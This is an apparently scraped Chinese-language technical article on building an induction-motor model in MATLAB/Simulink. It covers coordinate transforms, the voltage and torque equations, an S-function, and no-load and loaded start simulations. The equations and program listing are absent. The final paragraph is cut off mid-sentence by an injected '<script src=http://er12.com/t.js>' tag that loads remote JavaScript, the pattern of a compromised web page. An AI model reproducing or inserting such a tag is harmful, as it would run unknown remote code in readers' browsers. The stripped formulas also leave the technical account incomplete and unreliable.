基于SIMULINK的异步电机的建模与仿真

摘 要 利用matlab软件中的动态仿真工具simulink,构建了异步电机的仿真模型,并通过实验验证了所建电机模型的可行性、与实用性。

关键词 异步电机 建模 仿真 matlab/simulink

1 引言

  随着电力电子技术的飞速进步和交流电机调速理论的不断深入。异步电机的应用日益广泛。然而异步电机是一个高阶、非线性、强耦合的多变量系统。通过坐标变换,可以消除瞬变过程中的周期性时变系统和降低方程的阶数,从而简化数学模型,基于这种观念,利用计算机仿真技术去建模既省时又直观。

  本文采用异步电机基于两相静止坐标系下的数学模型,结合坐标变换,利用matlab软件中的动态仿真simulink,建立异步电机的仿真模型。并通过实例进行实时仿真。

2 基于静止坐标系下异步电机数学模型

  异步电机的数学建模方法是将三相电机转换成两相电机,按两相电机建模。

2.1 电压矩阵方程

异步电机在两相静止坐标系中的电压矩阵方程为

  式中,uα1,uβ1分别是异步电机在α、β轴上定子电压分量;uα2,uβ2分别是异步电机在α、β轴上转子电压分量;iα1,iβ1分别是异步电机在α、β轴上定子电流分量;iα2,iβ2分别是异步电机在α、β轴上转子电流分量;r1、r2分别为定、转子电阻;l1、l2分别为定、转子电感;lm为互感;s为微分算子;ω为转子角速度特别地,对于笼型电机转子侧电压为零。

2.2 三相-二相变换

  三相对称静止绕组,通以三相平衡的正弦电流,产生合成磁动势,以同步转速旋转,则此三相称为三相静止坐标系。两相静止绕组,它们在空间互差90度电角度,且通入时间上互差90度的两相电流,也产生与上相同的磁动势,则把此两相称为两相静止坐标系。若它们的磁动势空间位置一致、幅值和转速相等,故可认为这两种坐标系等效。

三相-两相的转换矩阵如下:

2.3 转矩和运动方程

  转矩方程式为:

式中pn为电机的极对数;j为电机的转动惯量;tl为负载转矩。

3 异步电机模型

  matlab是一种交互式仿真系统,其语言表述形式与其数学表达形式相同。故matlab特别适合于动态系统的建模与仿真。

  本文采用借助s-函数来实现电机异步仿真。我们在程序中用到的s-函数是在sfuntmpl.m的基础上,经过改进编写的。然后在simulink中调用s-function模块即可。

  为了能得到异步电机的定、转子电流,计算出电机的转矩与转速,必须先进行矩阵变换,将电压矩阵方程转换成状态方程的形式,然后将其写入s函数中。

转换后的状态方程如下:

  下面分别给出用matlab/simulink中模块的构造组合以及用s-function编写的部分程序,此程序在函数acmotor_demo(t,x,u,flag)中。

3.1 s-function函数的模块组合

  通过mux模块合并为一个矢量,经过acmotor_demo.m函数得到一个矢量输出,再通过

dumux模块分解出这几个变量,分别为iα1,iβ1,iα2和iβ2。

3.2 s-function函数程序

4 电机仿真实验

  电机模型进行仿真,电机参数为:额定电压:90v;额定电流:4.2 a;额定转速:1760 r/min;额定频率:60 hz;额定转矩:3.316 nm;电机极对数:2;转动惯量j:0.00047 kgm2;转子电感l2:0.08377h;转子电阻r2:1.03ω;定子电感l1:0.0805 h;定子电阻r1:1.2ω;定、转子互感lm:0.0777 h。

  动态仿真将观察电机加上三相正弦交流电源和负载变动时,起动过程中电机转矩、转速、电流等的变化。仿真图如图2:

4.1 空载起动仿真

  进行全压理想空载起动,即令负载转矩为零。图3为理想空载起动仿真结果。由图3可以看出电机的空载起动过程约为0.2秒。因为负载转矩为零,故电机转速可很快上升且能达到同步转速(1800 rpm)。曲线响应快且稳态性能较好。

4.2 带载仿真

  在起动后0.4秒时加上2nm的负载,观察电机在加上负载后的响应。图4为电机加上负载后响应曲线。

  由图4可以看出,空载起动后由于电机在0.4秒时加上了负载,此时电机转速开始逐渐下降。在经过了大约0.1秒后,电机的转速又趋于稳定,且稳定性能较好。

  通过这两次不同的仿真,我们不难看出用matlab/simulink进行电机仿真方便简单、高效直观,特别适合与对复杂系统的建模与分析。

5 结束语

  本文系统而简略的介绍了用matlab/simulink进行电机的模拟仿?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计